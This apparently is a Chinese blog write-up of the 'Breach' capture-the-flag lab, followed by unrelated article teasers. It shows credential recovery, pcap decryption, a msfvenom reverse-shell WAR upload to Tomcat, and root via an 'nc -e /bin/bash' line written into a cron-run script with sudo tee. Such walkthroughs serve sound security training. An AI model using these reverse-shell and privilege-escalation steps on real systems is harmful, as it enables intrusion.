代码编织梦想

环境
kali(攻击):192.168.110.128
breach(靶机):192.168.110.140

0x01 主机发现

netdiscover -i eth0 -r 192.168.110.0/24 
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                
                                                                                              
 5 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 300                              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.110.1   00:50:56:c0:00:08      1      60  VMware, Inc.                               
 192.168.110.2   00:50:56:f9:0b:01      2     120  VMware, Inc.                               
 192.168.110.140 00:0c:29:5d:cc:82      1      60  VMware, Inc.                               
 192.168.110.254 00:50:56:fe:a5:2d      1      60  VMware, Inc.  

nmap -sP 192.168.110.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-09 04:20 EST
Nmap scan report for 192.168.110.1
Host is up (0.00038s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.110.2
Host is up (0.00037s latency).
MAC Address: 00:50:56:F9:0B:01 (VMware)
Nmap scan report for 192.168.110.140
Host is up (0.00018s latency).
MAC Address: 00:0C:29:5D:CC:82 (VMware)
Nmap scan report for 192.168.110.254
Host is up (0.000094s latency).
MAC Address: 00:50:56:FE:A5:2D (VMware)
Nmap scan report for 192.168.110.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.76 seconds

0x02 端口扫描

nmap -p- 192.168.110.140 -oN beach_ports.txt

端口全开

从80端口入手

0x03 漏洞挖掘

访问80端口,如下图

在这里插入图片描述

一通乱点,右键审查元素发现一串base64编码

在这里插入图片描述

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

解密两次

在这里插入图片描述

pgibbons:damnitfeel$goodtobeagang$ta

猜测是账号密码

找到登陆页面

在这里插入图片描述

直接登陆即可

除此之外还可以

找impresscms已公布漏洞

尝试登陆处注入

在这里插入图片描述

impresscms已公布的漏洞可利用的只有一个sql注入,但是在此环境中是无法利用的,所以要从其他地方入手

在View Account下发现一份稿件

在这里插入图片描述

内容大概是:这是一份攻击队的pcap文件,alias, storepassword and keypassword 是 tomcat

pcap文件地址:

http://192.168.110.140/imprescms//u SSL_test_phase1.pcap

pcap文件一般使用wireshar打开

可以看到大部分都已经经过ssl加密处理 ,无法看到有效数据

在这里插入图片描述

在邮箱中看到的一封邮件,给出了keystore文件的下载地址,这个文件包含了ssl的证书

在这里插入图片描述

直接下载此文件

192.168.110.140/.keystore

用keytool工具导出证书,结合我们在上一封稿件中发现的密码(tomcat)

直接在kali里使用导出就可以

root@kali:~/Downloads# keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Importing keystore keystore to tomcatkeystore.p12...
Enter destination keystore password:  
Re-enter new password: 
Enter source keystore password:  
root@kali:~/Downloads# ls
'20200916_Quick_https_ttt_ebanktest_com_cn_10204_xjgl_(1).pdf'   20200916_Quick_https_ttt_ebanktest_com_cn_10204_xjgl_.pdf   keystore                    _SSL_test_phase1.pcap
 20200916_Quick_https_ttt_ebanktest_com_cn_10204_xjgl_.html      cacert.der                                                 '_SSL_test_phase1(1).pcap'   tomcatkeystore.p12
root@kali:~/Downloads# 

把证书导入wireshark
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

依次填入 ip 端口 协议 证书地址 密码

可以看到 流量包被解密,攻击者ip为:192.168.110.129,并且看到了tomcat后台管理地址

在这里插入图片描述

进一步观察流量包

在这里插入图片描述

除了后台管理地址之外 又看到一串base64加密 前边开头的单词还是授权,这大概率就是 后台的登陆密码

192.168.110.140:8443/_M@nag3Me/html

解密

在这里插入图片描述

dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
tomcat:Tt\5D8F(#!*u=G)4m7zB

不过在登陆后台的登陆地址很奇葩,需要挂着代理才能打开,我是一直挂着burp的代理所以我一直没什么问题,我同事怎么也访问不到,之后试了下,挂着代理确实可以访问

在这里插入图片描述

0x04 Getshell

登陆到后台管理

在这里插入图片描述

找到文件上传处 上传webshell,只能上传war类型shell

在这里插入图片描述

操作过程如下:

将webshell打包为zip文件,再将zip后缀改为war即可

在这里插入图片描述

上传的webshell几分钟就会被删除,可能杀软之类的

这里直接使用反弹shell

方法有很多种,这里我是用msf生成

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o shell.war

设置监听

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp 
payload => java/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.110.128
lhost => 192.168.110.128
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.110.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

上传shell,点击访问

拿到反弹shell

在这里插入图片描述

进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

0x05 提权

cat /etc/passwd //查看存放用户信息

发现两个用户 有/bin/bash权限

在这里插入图片描述

cat /etc/shadow  //查看用户加密密钥

在这里插入图片描述

没权限!!!

cat /etc/shells //查看用户shell

在这里插入图片描述

尝试登陆数据库,居然未设置密码

在这里插入图片描述

当然我们可以找一下数据库文件

tomcat6@Breach:/var/www/html$ cd /var/www
cd /var/www
tomcat6@Breach:/var/www$ ls
ls
5446  html
tomcat6@Breach:/var/www$ cd 5446
cd 5446
tomcat6@Breach:/var/www/5446$ ls
ls
0d93f85c5061c44cdffeb8381b2772fd.php  fe4db1f7bc038d60776dcb66ab3404d5.php
cache                                 modules
tomcat6@Breach:/var/www/5446$ cat 0d93f85c5061c44cdffeb8381b2772fd.php
cat 0d93f85c5061c44cdffeb8381b2772fd.php
<?php
/**
* All information in order to connect to database are going through here.
*
* Be careful if you are changing data's in this file.
*
* @copyright    http://www.xoops.org/ The XOOPS Project
* @copyright    XOOPS_copyrights.txt
* @copyright    http://www.impresscms.org/ The ImpressCMS Project
* @license              http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU General Public License (GPL)
* @package              installer
* @since                1.0
* @author               marcan <marcan@impresscms.org>
* @author          Sina Asghari (aka stranger) <pesian_stranger@users.sourceforge.net>
* @version              $Id: sdata.dist.php 8570 2009-04-11 13:15:53Z icmsunderdog $
*/

// Database Hostname
// Hostname of the database server. If you are unsure, 'localhost' works in most cases.
define( 'SDATA_DB_HOST', 'localhost' );

// Database Username
// Your database user account on the host
define( 'SDATA_DB_USER', 'root' );

// Database Password
// Password for your database user account
define( 'SDATA_DB_PASS', '' );

// Database Name
// The name of database on the host. The installer will attempt to create the database if not exist
define( 'SDATA_DB_NAME', 'impresscms' );

// Table Prefix
// This prefix will be added to all new tables created to avoid name conflict in the database. If you are unsure, just use the default 'icms'
define( 'SDATA_DB_PREFIX', 'ia44db101' );

// Password Salt Key $mainSalt
// This salt will be appended to passwords in the icms_encryptPass() function.
// Do NOT change this once your site is Live, doing so will invalidate everyones Password.
define( 'SDATA_DB_SALT', 'EQ9eLioElpacrtYZFQrGiDvB5OQGXzq2jfA4okdsZzkVNGhka6blxUTrozLOuFSA4' );
?>
tomcat6@Breach:/var/www/5446$ 

果真没有密码 …

mysql> select user,password from user;
select user,password from user;
+------------------+-------------------------------------------+
| user             | password                                  |
+------------------+-------------------------------------------+
| root             |                                           |
| milton           | 6450d89bd3aff1d893b85d3ad65d2ec2          |
| root             |                                           |
| root             |                                           |
| debian-sys-maint | *A9523939F1B2F3E72A4306C34F225ACF09590878 |
+------------------+-------------------------------------------+
5 rows in set (0.00 sec)

发现milton用户密码 盲猜md5加密

在这里插入图片描述

thelaststraw

成功提权为milon用户

tomcat6@Breach:/var/www/5446$ su - milton
su - milton
Password: thelaststraw
milton@Breach:~$ whoami
whoami
milton
milton@Breach:~$ 
milton@Breach:~$ cat .bash_history
cat .bash_history
cd ..
ls
su milton
cd milton
cat .bash_history
clear
su root
cat .bash_history
ls -lah
cat .bash_history
su blumbergh 
sudo nano
sudo -i
su root
sudo nano
logoff
logout
cd /
su root
logout
exit
sudo nano
visudo
clear
poweroff
su root

到这一步已经没有办法去提权到root权限了

可以尝试提权到 blumbergh 用户

查阅部分资料用到了 strings 打印图片中的字符

拿到milon权限后可以看到有一张图片,可能会存在某些信息

使用 strings 命令打印图片中的可打印字符

milton@Breach:~$ ls
ls
my_badge.jpg  some_script.sh
milton@Breach:~$ strings my_badge.jpg >>my_badge.txt
strings my_badge.jpg >>my_badge.txt
milton@Breach:~$ ls
ls
my_badge.jpg  my_badge.txt  some_script.sh

但从图片中的字符中未发现关于密码的信息

根据之前我们在网站中找到的图片我们都打印一下
在这里插入图片描述

root@kali:~/Desktop/image# ls
bill.png  cake.jpg  initech.jpg  milton_beach.jpg  swingline.jpg  troll.gif
root@kali:~/Desktop/image# strings bill.png >>1.txt
root@kali:~/Desktop/image# strings cake.jpg >>1.txt
root@kali:~/Desktop/image# strings initech.jpg >>1.txt
root@kali:~/Desktop/image# strings milton_beach.jpg >>1.txt
root@kali:~/Desktop/image# strings swingline.jpg >>1.txt
root@kali:~/Desktop/image# strings troll.gif >>1.txt

本想利用生成的字典ssh爆破端口,做了防护无法爆破

最像密码的两条信息
在这里插入图片描述

密码为 coffeestains

成功提权为 blumbergh用户权限

milton@Breach:~$ su blumbergh
su blumbergh
Password: tEXtComment

su: Authentication failure
milton@Breach:~$ su blumbergh
su blumbergh
Password: coffeestains

blumbergh@Breach:/home/milton$ 

查看当前用户sudo权限

发现可以以root 权限执行 tidyup.sh 脚本

blumbergh@Breach:/home/milton$ sudo -l
sudo -l
Matching Defaults entries for blumbergh on Breach:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blumbergh may run the following commands on Breach:
    (root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看历史操作记录,tidyup.sh文件出镜率太高,提权考虑从此文件入手,查看其权限 只有root用户才有写入权限

blumbergh@Breach:/home/milton$ history
history
    1  clear
    2  logoff
    3  logout
    4  exit
    5  cd /usr/share/cleanup
    6  cat tidyup.sh
    7  ls
    8  whoami
    9  cat .bash_history
   10  history
   11  sudo -l
   12  cat .bash_history
   13  history
blumbergh@Breach:/home/milton$ ls -l /usr/share/cleanup/tidyup.sh
ls -l /usr/share/cleanup/tidyup.sh
-rwxr-xr-x 1 root root 289 Jun 12  2016 /usr/share/cleanup/tidyup.sh

进一步查看此文件内容

功能:定时清理脚本文件,这就是我们之前上传shell为什么一段时间后会被删除

blumbergh@Breach:/usr/share/cleanup$ cat tidyup.sh
cat tidyup.sh
#!/bin/bash

#Hacker Evasion Script 
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

这样我们根据掌握的信息/usr/bin/tee有root权限 ,tidyup脚本文件只能root写入

那么我们就用 /usr/bin/tee写脚本文件

blumbergh@Breach:~$ echo "nc -e /bin/bash 192.168.110.128 7777" > 1.txt
echo "nc -e /bin/bash 192.168.110.128 7777" > 1.txt
blumbergh@Breach:~$ ls
ls
1.txt
blumbergh@Breach:~$ cat 1.txt
cat 1.txt
nc -e /bin/bash 192.168.110.128 7777
blumbergh@Breach:~$ cat 1.txt | sudo /bin/bash/tee /usr/share/cleanup/tidyup.sh     
cat 1.txt | sudo /bin/bash/tee /usr/share/cleanup/tidyup.sh
[sudo] password for blumbergh: coffeestains

sudo: /bin/bash/tee: command not found
blumbergh@Breach:~$ cat 1.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
cat 1.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
nc -e /bin/bash 192.168.110.128 7777
blumbergh@Breach:~$ cat /usr/share/cleanup/tidyup.sh
cat /usr/share/cleanup/tidyup.sh
nc -e /bin/bash 192.168.110.128 7777
blumbergh@Breach:~$ 

设置监听,提权到root

root@kali:~# nc -lvnp 7777
listening on [any] 7777 ...
connect to [192.168.110.128] from (UNKNOWN) [192.168.110.140] 57842
shell
pwd
/root
whoami
root

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/wangyanjienice/article/details/111060105

阿里云上安装mysql-爱代码爱编程

1、下载Mysql的Yum仓库         https://dev.mysql.com/downloads/repo/yum/  2、将第一步下载的文件拖进服务器,进行安装:      yum localinstall mysql80-community-release-el7-3.noarch.rpm 3、检测源是否安装成功      y

布尔盲注演示-爱代码爱编程

盲注: 所谓盲注就是在服务器没有错误回显的时候完成注入攻击,没有错误回显,对于攻击者来说就少了非常重要的调试信息 大致分为两种: 1.布尔盲注 只能返回对和错,没有了之前的报错信息 and databse() = ' ' //不断用字母进行填充 => 但是组合太多,所以要切割 substr()截取字符串 substr(str,pos,

数据库 Mysql 逻辑架构简介-爱代码爱编程

数据库 Mysql 逻辑架构简介 1.整体架构图 和其它数据库相比, MySQL 有点与众不同, 它的架构可以在多种不同场景中应用并发挥良好作用。 主要体现在存储引擎的架构上, 插件式的存储引擎架构将查询处理和其它的系统任务以及数据的存储提取相分离。 这种架构可以根据业务的需求和实际需要选择合适的存储引擎。 连接层 就是基于tcp/ip安全连接的客

python编程-ORM框架-爱代码爱编程

文章目录 一、什么是ORM二、sql2.1 概念和数据类型2.2 创建连接2.3 操作表2.4 操作行数据2.4.1 增加数据插入单行数据插入多行数据2.4.2 查询数据条件查询连表查询子查询2.4.3 删除数据2.4.4 修改数据三、表关系 一、什么是ORM 摘自百度百科:ORM一般指对象关系映射。对象关系映射(英语:Object Rela

MySQl InnoDB、MyISAM、MEMORY存储引擎-爱代码爱编程

目录 对比图: 一.InnoDB存储引擎 二.MyISAM存储引擎 三.MEMORY存储引擎 四.怎样选择存储引擎 对比图: 简单来说,存储引擎就是指表的类型以及表在计算机上的存储方式。 存储引擎的概念是MySQL的特点,Oracle中没有专门的存储引擎的概念,Oracle有OLTP和OLAP模式的区分。不同的存储引擎决定了MySQL数据

Oracle基础使用-体系结构+表空间、用户、表的管理+使用scott用户+多表查询子查询-爱代码爱编程

Oracle 1. oracle介绍 ORACLE 数据库是目前世界上使用最为广泛的数据 库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能 作为一个关系数据库, 它是一个完备关系的产品 作为分布式数据库它实现了分布式处理功能 2.oracle体系结构 2.1数据库Database 数据库是数据的物理存储,包括数据文件ORA、

php webshell探索-常见小马的opcode-爱代码爱编程

OpCode 一.php opcode二.常见小马的opcode1.直接型2.通过反射类调用3.通过排序函数调用4.通过类的混淆1.类的魔术方法2.类的自定义方法3.反序列化5.通过函数的混淆6.普通的混淆7.其他的隐藏方式1.ob_start2.register_shutdown_function3.回调函数4.数组5.反引号三.总结 一.p

安全巡检-爱代码爱编程

安全巡检 目的 识别信息系统存在的安全脆弱性、分析信息系统存在的风险,并及时采取措施予以整改,保障信息系统安全稳定运行 巡检收益 1、通过专业、严谨的安全巡检服务,确保客户IT环境的安全性和稳定性 2、大大降低客户的运维风险和运维成本 3、专业的安全技术和专业的人员及时、全面的掌握客户IT环境的安全现状和面临的风险,并提出改进建议,降低风险

前端安全(3):跨站请求伪造 CSRF(Cross-site request forgery)-爱代码爱编程

一、什么是CSRF CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。 一个典型的CSRF攻击有着如下的流程: 受害者登录a.com,并保留了

XCTF 攻防世界 Reverse新手题(insanity, python-trade)-爱代码爱编程

XCTF 攻防世界 Reverse新手题(insanity, python-trade) 1. insanity 这一题十分的简单,将下载下来的附件直接用IDA打开,查看Hey-View,在最右侧一栏进行查找,大概在后半部分,可以直接看到flag 2. python-trade 首先,这个题目没有用到IDA,因为看到下载的附件是.pyc后缀的,是p

什么是下一代防火墙NGFW(Next Generation Firewall)?-爱代码爱编程

概述 下一代防护墙(Next Generation Firewall, 简称 NGFW),在2007年Gartner提出了这一概念。两年后的2009年,Gartner正式发布了《Defining the Next-Generation Firewall》,对下一代防火墙的定义做了明确说明。相对于IPS、VPN等当时现有安全产品,NGFW给人的感觉就是:我

XCTF 攻防世界 Reverse 新手题(re1)-爱代码爱编程

XCTF 攻防世界 Reverse 新手题(re1) re1 首先,可以看到附件是一个exe程序,可以先执行一下看看(一般CTF的题目是不会有什么病毒的,如果有杀毒软件显示有木马的话,允许执行就可以了,因为目前大部分exe文件的特征码都很容易被识别)。执行完之后,若是没发现什么有用的信息,可以尝试用IDA(32)打开 F5键进行反编译找到main函数的